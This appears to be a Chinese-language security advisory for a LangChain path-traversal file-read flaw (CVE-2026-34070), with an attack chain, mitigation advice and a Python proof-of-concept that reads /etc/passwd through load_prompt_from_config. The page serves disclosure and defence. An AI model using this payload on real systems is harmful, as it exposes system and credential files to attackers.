IPBUF安全漏洞报告
English
CVE-2026-34070 CVSS 7.5 高危

CVE-2026-34070: LangChain 任意文件读取漏洞

披露日期: 2026-03-31

漏洞信息

漏洞编号
CVE-2026-34070
漏洞类型
任意文件读取
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
LangChain

相关标签

任意文件读取路径穿越LangChainCVE-2026-34070

漏洞概述

LangChain在1.2.22版本之前存在安全漏洞,由于加载提示配置时未对文件路径进行有效验证,导致目录遍历。攻击者可通过构造恶意配置,利用`load_prompt`函数读取宿主机上的任意文件,造成敏感信息泄露。

技术细节

该漏洞源于LangChain核心库`langchain_core.prompts.loading`模块中的文件加载机制。函数`load_prompt`和`load_prompt_from_config`在处理反序列化的配置字典时,直接从配置中提取路径并读取文件,未进行任何目录遍历(如`../`)或绝对路径注入的防护。攻击者若能影响传递给这些函数的提示配置,即可指定任意的系统文件路径。尽管利用受到文件扩展名检查(如.txt, .json, .yaml)的限制,攻击者仍可读取符合这些扩展名的敏感文件(如配置文件、密钥文件等)。该漏洞利用无需认证且无需用户交互,通过网络即可触发,严重影响了系统的机密性。

攻击链分析

STEP 1
侦察
攻击者确认目标应用程序使用了LangChain框架,且版本低于1.2.22。
STEP 2
武器化
攻击者构造包含恶意路径(如../../etc/passwd)的配置数据,绕过基本的逻辑检查。
STEP 3
交付
攻击者通过应用程序接口,将构造的恶意配置数据发送给服务器端。
STEP 4
利用
服务器端调用`load_prompt_from_config`函数处理该配置,直接读取路径指向的敏感文件。
STEP 5
渗透
服务器将读取到的文件内容返回给攻击者,导致信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import json from langchain_core.prompts.loading import load_prompt_from_config # PoC for CVE-2026-34070: Arbitrary File Read in LangChain # This script demonstrates how a malicious configuration can lead to file reading. # Define a malicious configuration object # The attacker controls the 'path' parameter to perform directory traversal malicious_config = { "_type": "prompt", # Using directory traversal to access sensitive files # Note: The vulnerable function checks for file extensions (e.g., .json, .yaml, .txt) # This example targets a file that might exist and match allowed types, or demonstrates the path injection. "path": "../../../../../../../../etc/passwd" } try: print("Attempting to load malicious prompt configuration...") # In vulnerable versions (< 1.2.22), this reads the file specified in 'path' prompt_obj = load_prompt_from_config(malicious_config) print("[+] Exploit successful! File content read:") print(prompt_obj) except Exception as e: print(f"[-] Exploit failed or patched: {e}")

影响范围

LangChain < 1.2.22

防御指南

临时缓解措施
建议立即将LangChain更新至修复版本1.2.22。在无法升级的情况下,应避免处理不受信任的配置数据,并在代码层面对文件路径进行规范化处理,禁止包含目录遍历字符的路径被加载。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表